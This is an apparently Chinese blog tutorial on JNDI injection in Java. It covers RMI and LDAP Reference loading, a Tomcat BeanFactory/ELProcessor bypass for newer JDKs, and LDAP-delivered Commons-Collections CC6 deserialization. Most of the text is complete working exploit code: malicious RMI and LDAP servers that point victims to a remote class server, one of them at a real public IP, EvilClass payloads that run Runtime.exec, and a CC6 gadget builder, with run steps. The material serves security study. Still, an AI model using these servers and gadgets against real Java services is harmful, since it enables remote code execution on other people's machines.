概念 JNDI(The Java Naming and Directory Interface,Java命名和目录接口)是一组在Java应用中访问命名和目录服务的API,命名服务将名称和对象联系起来,使得我们可以用名称访问对象
支持的服务接口:
RMI (JAVA远程方法调用)
LDAP (轻量级目录访问协议)
CORBA (公共对象请求代理体系结构)
DNS (域名服务)
动态协议转换
服务端代码
1 2 3 4 5 6 7 8 LocateRegistry.createRegistry(6666); System.setProperty(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory"); System.setProperty(Context.PROVIDER_URL, "rmi://localhost:6666"); InitialContext ctx = new InitialContext(); ... ctx.bind("person", p); ctx.close(); ...
Context.PROVIDER_URL
,这个属性指定了到哪里加载本地没有的类
当Context.PROVIDER_URL
被配置过后,ctk.lookup("rmi://localhost:1099/hello")
这一处代码改为 ctk.lookup("hello")
也是可行的
但是如果开启了动态协议转换Context.PROVIDER_URL
就失效了,当我们调用lookup()方法时,如果lookup方法的参数像是一个URL地址,那么客户端就会去lookup()方法参数指定的URL中加载远程对象,而不是去Context.PROVIDERURL
设置的地址去加载对象
Reference类
但是攻击者仅调用lookup()方法参数指定的URL中加载远程对象,也是无法实现攻击的,因为受害者本地没有攻击者提供的类的class文件,所以是调用不了方法的,于是乎,就有了Reference类Reference类表示对存在于命名/目录系统以外的对象的引用,如果远程获取 RMI 服务上的对象为 Reference 类或者其子类,则在客户端获取到远程对象存根实例时,可以从其他服务器上加载 class 文件来进行实例化
要把一个对象绑定到rmi注册表中,这个对象需要继承UnicastRemoteObject
但是Reference
并没有继承它,所以我们还需要封装一下它,用 ReferenceWrapper 包裹一下Reference实例对象,这样就可以将其绑定到rmi注册表,并被远程访问到
1 2 3 Reference refObj = new Reference ("refClassName" , "insClassName" , "http://aaanz.com:6666/" ); ReferenceWrapper refObjWrapper = new ReferenceWrapper (refObj);registry.bind("refObj" , refObjWrapper);
当有客户端通过lookup(“refObj”)获取远程对象时,获取的是一个Reference存根(Stub),由于是Reference的存根,所以客户端会现在本地的classpath中去检查是否存在类refClassName,如果不存在则去指定的urlhttp://aaanz.com:6666/refClassName.class
动态加载,并且调用insClassName的构造函数
其实不只是构造函数,说是构造方法、静态代码块、getObjectInstance()方法等方法都可以,所以这些地方都可以写入恶意代码
而且这个调用是在客户端,而不是在服务端,这就实现了客户端的命令执行
JNDI Reference+RMI攻击 有效版本之后系统属性 com.sun.jndi.rmi.object.trustURLCodebase
、com.sun.jndi.cosnaming.object.trustURLCodebase
的默认值变为false,即默认不允许RMI、cosnaming从远程的Codebase加载Reference工厂类
简单看一下构造
RMI
1 2 3 String jndiName= ...; Context context = new InitialContext ();DataSource ds = (DataSourse)context.lookup(jndiName);
Reference
1 2 3 4 5 6 7 8 9 10 Reference refObj = new Reference ("refClassName" , "FactoryClassName" , "http://evil.com:8000/" );ReferenceWrapper refObjWrapper = new ReferenceWrapper (refObj);registry.bind("refObj" , refObjWrapper); public Reference (String className, String factory, String factoryLocation) { this (className); classFactory = factory; classFactoryLocation = factoryLocation; }
本地 代码如下
RMIClient.java
1 2 3 4 5 6 7 8 9 import javax.naming.Context;import javax.naming.InitialContext;public class RMIClient { public static void main (String[] args) throws Exception { Context ctx = new InitialContext (); ctx.lookup("rmi://127.0.0.1:9999/refObj" ); } }
RMIServer.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 import com.sun.jndi.rmi.registry.ReferenceWrapper;import javax.naming.NamingException;import javax.naming.Reference;import java.rmi.AlreadyBoundException;import java.rmi.RemoteException;import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry;public class RMIServer { public static void main (String[] args) throws RemoteException, NamingException, AlreadyBoundException { Registry registry = LocateRegistry.createRegistry(9999 ); System.out.println("java RMI registry created. port on 9999..." ); Reference refObj = new Reference ("ExportObject" , "EvilClass" , "http://127.0.0.1:8000/" ); ReferenceWrapper refObjWrapper = new ReferenceWrapper (refObj); registry.bind("refObj" , refObjWrapper); } }
EvilClass.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 import java.io.IOException;public class EvilClass { public EvilClass () { } static { try { Runtime.getRuntime().exec("calc" ); } catch (IOException var1) { var1.printStackTrace(); } } }
编译EvilClass.java为EvilClass.class (javac EvilClass.java
)
运行恶意http server,挂载上述class(在当前目录开启python3 -m http.server 8000
)
运行恶意rmi server(上面的RMIServer类)
运行客户端发起请求(上面的RMIClient类)
客户端对恶意RMI server发送请求,获取远程对象存根实例
客户端会先从本地的CLASSPATH
中寻找ExportObject
,如果找不到,则从classFactoryLocation即http://127.0.0.1:8000/EvilClass.class
中寻找工厂类
客户端通过实例化工厂类获取真正的对象,工厂类中包含的恶意代码被执行
过程 1 ctx.lookup("rmi://127.0.0.1:9999/refObj");
var2得到了RMI注册中心主机,端口,绑定对象数据
继续看var3.lookup()
1 var2 = this.registry.lookup(var1.get(0));
拿到了RMI绑定的对象
1 return this.decodeObject(var2, var1.getPrefix(1));
我们的远程对象是ReferenceWrapper
类的对象,它implements RemoteReference
了,所以会调用getReference()
,获取Reference
对象,也就是我们在Server
构造的对象
1 Reference refObj = new Reference("ExportObject", "EvilClass", "http://127.0.0.1:8000/");
继续跟进
1 return NamingManager.getObjectInstance(var3, var2, this, this.environment);
从这里开始就加载我们的远程类了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 public static Object getObjectInstance (Object refInfo, Name name, Context nameCtx, Hashtable<?,?> environment) throws Exception { ObjectFactory factory; ObjectFactoryBuilder builder = getObjectFactoryBuilder(); if (builder != null ) { factory = builder.createObjectFactory(refInfo, environment); return factory.getObjectInstance(refInfo, name, nameCtx, environment); } Reference ref = null ; if (refInfo instanceof Reference) { ref = (Reference) refInfo; } else if (refInfo instanceof Referenceable) { ref = ((Referenceable)(refInfo)).getReference(); } Object answer; if (ref != null ) { String f = ref.getFactoryClassName(); if (f != null ) { factory = getObjectFactoryFromReference(ref, f); if (factory != null ) { return factory.getObjectInstance(ref, name, nameCtx, environment); } return refInfo; } else { answer = processURLAddrs(ref, name, nameCtx, environment); if (answer != null ) { return answer; } } } answer = createObjectFromFactories(refInfo, name, nameCtx, environment); return (answer != null ) ? answer : refInfo; }
1 factory = getObjectFactoryFromReference(ref, f);
直接加载类clas = helper.loadClass(factoryName);
这里是正常的本地类加载,因为找不到Evil
类所以会加载失败,代码往下执行
在codebase = ref.getFactoryClassLocation()
中出现了codebase
,这里的FactoryClassLocation
其实就是URL:http://
,所以codebase
也就是所谓的远程URL,然后在这个URL的基础上去找文件
1 clas = helper.loadClass(factoryName, codebase);
因为指定了codebase
,这次用的类加载器将是URLClassLoader
,最后在这里加载
1 2 Class<?> cls = Class.forName(className, true , cl); return cls;
调用Class.forName
并制定了类加载来加载类,这样可以加载到http://127.0.0.1:8000/EvilClass.class
,由于Class.forName
加载类且第二个参数是true(默认也是true)会进行类的加载,也就是执行静态代码块,那就可以加载恶意代码了
成功加载到了clas
后,再return (clas != null) ? (ObjectFactory) clas.newInstance() : null;
,调用它的newInstance()
,从而调用了无参构造器,执行了无参构造器里面的代码
如果得到了对象且成功转换成了ObjectFactory
,就会调用getObjectInstance
方法,这也是为什么可以把代码写到getObjectInstance
方法的原因
1 2 return factory.getObjectInstance(ref, name, nameCtx, environment);
不过这个有限制,就是我们的恶意类可以转换成ObjectFactory
,才可以继续执行不抛出异常。所以如果要利用这个方法的话,恶意类需要继承ObjectFactory
才行
只有配置了SecurityManager的RMI服务器才能被攻击
远程 坑点主要在Server.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 import com.sun.jndi.rmi.registry.ReferenceWrapper;import javax.naming.Reference;import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry;public class Server { public static void main (String[] args) throws Exception{ System.setProperty("java.rmi.server.hostname" ,"39.105.125.61" ); Registry registry = LocateRegistry.createRegistry(766 ); Reference aaanz = new Reference ("1" ,"Evil" ,"http://39.105.125.61:667/" ); ReferenceWrapper referenceWrapper = new ReferenceWrapper (aaanz); registry.bind("aaanz" ,referenceWrapper); } }
启动了RMI Registry的服务端有两个端口,一个是RMI Registry监听端口,另一个是远程对象的通信端口。而远程对象通信端口是系统随机分配的,远程对象的通信Host、Port等信息由RMI Registry传递给客户端,通信Host的默认值是服务端本地主机名对应的IP地址,所以当服务器有多张网卡,或者/etc/hosts中将主机名指向某个内网IP的时候,RMI Registry默认传递给客户端的通信Host也就是这个内网IP地址,远程利用时自然无法建立通信
可以把/etc/hosts中指向内网IP的记录删除或者指向外网IP,也可以在攻击者的RMI服务端通过代码明确指定远程对象通信Host IP:
1 System.setProperty("java.rmi.server.hostname","外网IP");
或者在启动RMI服务时,通过启动参数指定 java.rmi.server.hostname 属性:
1 -Djava.rmi.server.hostname=服务器真实外网IP
技术专栏 | 深入理解JNDI注入与Java反序列化漏洞利用 - 知乎 (zhihu.com)
Client.java
1 2 3 4 5 6 7 8 9 10 11 12 import javax.naming.Context;import javax.naming.InitialContext;import javax.naming.Name;import java.rmi.Naming;public class Client { public static void main (String[] args) throws Exception { String url = "rmi://39.105.125.61:766/aaanz" ; Context context = new InitialContext (); context.lookup(url); } }
Evil.java
1 2 3 4 5 public class Evil { public Evil () throws Exception{ Runtime.getRuntime().exec("calc" ); } }
JNDI Reference+LDAP攻击
除了RMI服务之外,JNDI还可以对接LDAP服务,且LDAP也能返回JNDI Reference对象,利用过程与上面RMI Reference基本一致,只是lookup()中的URL为一个LDAP地址如ldap://xxx/xxx
,由攻击者控制的LDAP服务端返回一个恶意的JNDI Reference对象
注意一点就是,LDAP+Reference的技巧远程加载Factory类不受RMI+Reference中的com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase等属性的限制,所以适用范围更广
有效版本之后,com.sun.jndi.ldap.object.trustURLCodebase
属性的默认值被调整为false,对LDAP Reference远程工厂类的加载增加了限制
服务端的Maven依赖
1 2 3 4 5 <dependency > <groupId > com.unboundid</groupId > <artifactId > unboundid-ldapsdk</artifactId > <version > 6.0.0</version > </dependency >
LDAPClient
1 2 3 4 5 6 7 8 9 import javax.naming.Context;import javax.naming.InitialContext;public class LDAPClient { public static void main (String[] args) throws Exception { Context ctx = new InitialContext (); ctx.lookup("ldap://127.0.0.1:7777/anything" ); } }
LDAPServer
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 import com.unboundid.ldap.listener.InMemoryDirectoryServer;import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;import com.unboundid.ldap.listener.InMemoryListenerConfig;import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;import com.unboundid.ldap.sdk.Entry;import com.unboundid.ldap.sdk.LDAPException;import com.unboundid.ldap.sdk.LDAPResult;import com.unboundid.ldap.sdk.ResultCode;import javax.net.ServerSocketFactory;import javax.net.SocketFactory;import javax.net.ssl.SSLSocketFactory;import java.net.InetAddress;import java.net.MalformedURLException;import java.net.URL;public class LDAPServer { private static final String LDAP_BASE = "dc=example,dc=com" ; public static void main ( String[] tmp_args ) { String[] args=new String []{"http://127.0.0.1:8000/#EvilClass" }; int port = 7777 ; try { InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig (LDAP_BASE); config.setListenerConfigs(new InMemoryListenerConfig ( "listen" , InetAddress.getByName("0.0.0.0" ), port, ServerSocketFactory.getDefault(), SocketFactory.getDefault(), (SSLSocketFactory) SSLSocketFactory.getDefault())); config.addInMemoryOperationInterceptor(new OperationInterceptor (new URL (args[ 0 ]))); InMemoryDirectoryServer ds = new InMemoryDirectoryServer (config); System.out.println("Listening on 0.0.0.0:" + port); ds.startListening(); } catch ( Exception e ) { e.printStackTrace(); } } private static class OperationInterceptor extends InMemoryOperationInterceptor { private URL codebase; public OperationInterceptor ( URL cb ) { this .codebase = cb; } @Override public void processSearchResult ( InMemoryInterceptedSearchResult result ) { String base = result.getRequest().getBaseDN(); Entry e = new Entry (base); try { sendResult(result, base, e); } catch ( Exception e1 ) { e1.printStackTrace(); } } protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException { URL turl = new URL (this .codebase, this .codebase.getRef().replace('.' , '/' ).concat(".class" )); System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl); e.addAttribute("javaClassName" , "ExportObject" ); String cbstring = this .codebase.toString(); int refPos = cbstring.indexOf('#' ); if ( refPos > 0 ) { cbstring = cbstring.substring(0 , refPos); } e.addAttribute("javaCodeBase" , cbstring); e.addAttribute("objectClass" , "javaNamingReference" ); e.addAttribute("javaFactory" , this .codebase.getRef()); result.sendSearchEntry(e); result.setResult(new LDAPResult (0 , ResultCode.SUCCESS)); } } }
EvilClass.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 import java.io.IOException;public class EvilClass { public EvilClass () { } static { try { Runtime.getRuntime().exec("calc" ); } catch (IOException var1) { var1.printStackTrace(); } } }
本地Factory
在高版本中(如:JDK8u191以上版本)虽然不能从远程加载恶意的Factory,但是我们依然可以在返回的Reference中指定Factory Class,这个工厂类必须在受害目标本地的CLASSPATH中。工厂类必须实现 javax.naming.spi.ObjectFactory 接口,并且至少存在一个 getObjectInstance() 方法。org.apache.naming.factory.BeanFactory 刚好满足条件并且存在被利用的可能。org.apache.naming.factory.BeanFactory 存在于Tomcat依赖包中,所以使用也是非常广泛
JNDI - Longlone’s Blog
条件
1.客户端存在一个实现了javax.naming.spi.ObjectFactory
接口且存在
getObjectInstance()
方法的类,如org.apache.naming.factory.BeanFactory
2.getObjectInstance()
方法存在可以利用的逻辑,比如BeanFactory
可以实例化对象的
beanClass
就BeanFactory
来说,可以利用getObjectInstance()
方法实例化对象的beanClass
其中beanClass需要满足以下几个条件(通过分析BeanFactory.getObjectInstance()
得出):
本地classpath里存在 具有无参构造方法 有直接或间接执行代码的方法,并且方法只能传入一个字符串参数
通过上述的描述,寻找到符合的类有:
tomcat8
里的javax.el.ELProcessor#eval(String)
springboot 1.2.x
自带的groovy.lang.GroovyShell#evaluate(String)
攻击流程
Obj.decodeObject()
返回Reference对象
接着会进入NamingManager.getObjectFactoryFromReference()
,如果是Reference对象,则会返回一个ObjectFactory对象(这里实现类是BeanFactory)
实例化beanClass后,会获取Reference对象里的forceString属性值
将属性值会以逗号和等号分割,格式如param1=methodName1,param2=methodName2
接着会反射调用beanClass对象里名为methodName1的方法,并传入参数,限定参数类型为String,参数通过Reference对象里param1属性获取
具体流程
搭建tomcat源码的测试环境(中文乱码问题参考这里 ),这里注意要修改下pom.xml的依赖(网上
搜索到的pom.xml会缺乏LDAPServer的依赖且easyMock的版本过低),这是我使用的依赖
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 <?xml version="1.0" encoding="UTF-8" ?> <project xmlns ="http://maven.apache.org/POM/4.0.0" xmlns:xsi ="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation ="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd" > <modelVersion > 4.0.0</modelVersion > <groupId > org.apache</groupId > <artifactId > tomcat</artifactId > <name > apache-tomcat-8.5.75</name > <version > 8.5.75</version > <build > <finalName > Tomcat-8.5.57</finalName > <sourceDirectory > java</sourceDirectory > <testSourceDirectory > test</testSourceDirectory > <resources > <resource > <directory > java</directory > </resource > </resources > <testResources > <testResource > <directory > test</directory > </testResource > </testResources > <plugins > <plugin > <groupId > org.apache.maven.plugins</groupId > <artifactId > maven-compiler-plugin</artifactId > <version > 3.5.1</version > <configuration > <encoding > UTF-8</encoding > <source > 1.8</source > <target > 1.8</target > </configuration > </plugin > </plugins > </build > <dependencies > <dependency > <groupId > junit</groupId > <artifactId > junit</artifactId > <version > 4.12</version > <scope > test</scope > </dependency > <dependency > <groupId > com.unboundid</groupId > <artifactId > unboundid-ldapsdk</artifactId > <version > 6.0.0</version > </dependency > <dependency > <groupId > org.easymock</groupId > <artifactId > easymock</artifactId > <version > 4.3</version > <scope > test</scope > </dependency > <dependency > <groupId > org.apache.ant</groupId > <artifactId > ant</artifactId > <version > 1.10.0</version > </dependency > <dependency > <groupId > wsdl4j</groupId > <artifactId > wsdl4j</artifactId > <version > 1.6.2</version > </dependency > <dependency > <groupId > javax.xml</groupId > <artifactId > jaxrpc</artifactId > <version > 1.1</version > </dependency > <dependency > <groupId > org.eclipse.jdt.core.compiler</groupId > <artifactId > ecj</artifactId > <version > 4.6.1</version > </dependency > <dependency > <groupId > org.glassfish</groupId > <artifactId > javax.xml.rpc</artifactId > <version > 3.0.1-b03</version > </dependency > </dependencies > </project >
在创建java/exp文件夹并写入RMILocalFactoryServer.java:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 package exp;import com.sun.jndi.rmi.registry.ReferenceWrapper;import org.apache.naming.ResourceRef;import javax.naming.NamingException;import javax.naming.Reference;import javax.naming.StringRefAddr;import java.rmi.AlreadyBoundException;import java.rmi.RemoteException;import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry;public class RMILocalFactoryServer { public static void main (String[] args) throws RemoteException, NamingException, AlreadyBoundException { Registry registry = LocateRegistry.createRegistry(9999 ); ResourceRef ref = new ResourceRef ("javax.el.ELProcessor" , null , "" , "" , true ,"org.apache.naming.factory.BeanFactory" ,null ); ref.add(new StringRefAddr ("forceString" , "KINGX=eval" )); ref.add(new StringRefAddr ("KINGX" , "''.getClass().forName('java.lang.Runtime').getMethods()[6].invoke(null).exec('calc.exe')" )); ReferenceWrapper referenceWrapper = new ReferenceWrapper (ref); registry.bind("Exploit" , referenceWrapper); System.out.println("java LocalFactory RMI registry created. port on 9999..." ); } }
在web/ROOT中写入client.jsp:
1 2 3 4 5 6 7 8 9 10 11 <%@ page import ="javax.naming.*" %> <%@ page import ="javax.el.ELProcessor" %> <% try { Context ctx = new InitialContext (); ctx.lookup("rmi://127.0.0.1:9999/Exploit" ); } catch (NamingException e) { e.printStackTrace(); } %>
运行RMILocalFactoryServer
运行tomcat服务器,访问http://127.0.0.1:8080/client.jsp
触发任意java代码执行
SerializedData + LDAP攻击 和JNDI Reference+LDAP攻击类似
这种攻击方法不受jdk版本的限制,但是要求目标存在可利用的java组件
客户端与服务端maven依赖
1 2 3 4 5 <dependency > <groupId > commons-collections</groupId > <artifactId > commons-collections</artifactId > <version > 3.1</version > </dependency >
LDAPClient
1 2 3 4 5 6 7 8 9 import javax.naming.Context;import javax.naming.InitialContext;public class LDAPClient { public static void main (String[] args) throws Exception { Context ctx = new InitialContext (); ctx.lookup("ldap://127.0.0.1:7777/anything" ); } }
CC6
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import java.io.ByteArrayOutputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.util.HashMap;import java.util.Map;public class CC6 { public static byte [] getPayload() throws Exception { Transformer[] fakeTransformers = new Transformer [] {new ConstantTransformer (1 )}; Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , new Class [0 ]}), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , new Object [0 ]}), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc.exe" }), new ConstantTransformer (1 ), }; Transformer transformerChain = new ChainedTransformer (fakeTransformers); Map innerMap = new HashMap (); Map outerMap = LazyMap.decorate(innerMap, transformerChain); TiedMapEntry tiedMapEntry = new TiedMapEntry (outerMap, "keykey" ); Map objMap = new HashMap (); objMap.put(tiedMapEntry, "valuevalue" ); outerMap.remove("keykey" ); Field f = ChainedTransformer.class.getDeclaredField("iTransformers" ); f.setAccessible(true ); f.set(transformerChain, transformers); ByteArrayOutputStream barr = new ByteArrayOutputStream (); ObjectOutputStream oos = new ObjectOutputStream (barr); oos.writeObject(objMap); oos.close(); return barr.toByteArray(); } }
LDAPSerialServer
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 import com.unboundid.ldap.listener.InMemoryDirectoryServer;import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;import com.unboundid.ldap.listener.InMemoryListenerConfig;import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;import com.unboundid.ldap.sdk.Entry;import com.unboundid.ldap.sdk.LDAPResult;import com.unboundid.ldap.sdk.ResultCode;import javax.net.ServerSocketFactory;import javax.net.SocketFactory;import javax.net.ssl.SSLSocketFactory;import java.net.InetAddress;import java.net.URL;public class LDAPSerialServer { private static final String LDAP_BASE = "dc=example,dc=com" ; public static void main ( String[] tmp_args ) { String[] args=new String []{"http://127.0.0.1:8000/#EvilClass" }; int port = 7777 ; try { InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig (LDAP_BASE); config.setListenerConfigs(new InMemoryListenerConfig ( "listen" , InetAddress.getByName("0.0.0.0" ), port, ServerSocketFactory.getDefault(), SocketFactory.getDefault(), (SSLSocketFactory) SSLSocketFactory.getDefault())); config.addInMemoryOperationInterceptor(new OperationInterceptor (new URL (args[ 0 ]))); InMemoryDirectoryServer ds = new InMemoryDirectoryServer (config); System.out.println("Listening on 0.0.0.0:" + port); ds.startListening(); } catch ( Exception e ) { e.printStackTrace(); } } private static class OperationInterceptor extends InMemoryOperationInterceptor { private URL codebase; public OperationInterceptor ( URL cb ) { this .codebase = cb; } @Override public void processSearchResult ( InMemoryInterceptedSearchResult result ) { String base = result.getRequest().getBaseDN(); Entry e = new Entry (base); try { sendResult(result, base, e); } catch ( Exception e1 ) { e1.printStackTrace(); } } protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws Exception { System.out.println("Send LDAP reference result for " + base + " return CC6 gadgets" ); e.addAttribute("javaClassName" , "DeserPayload" ); e.addAttribute("javaSerializedData" , CC6.getPayload()); result.sendSearchEntry(e); result.setResult(new LDAPResult (0 , ResultCode.SUCCESS)); } } }
完整攻击流程 :
运行恶意ldap server(上面的LDAPSerialServer类)
运行客户端发起请求(上面的LDAPClient类)
客户端对恶意LDAP server发送请求,获取包含javaSerializedData属性的对象
客户端解析对象,发现存在javaSerializedData属性,对其进行反序列化
触发本地反序列化链
上面提到的都是lookup()
方法如果参数被控制可能存在jndi注入的问题,实际上其他方法比
如InitialContext.rename()
, InitialContext.lookupLink()
最后也调用了
InitialContext.lookup()
还有其他包装了JNDI的应用,例如Apache's Shiro JndiTemplate
,Spring's JndiTemplate
也
会调用InitialContext.lookup()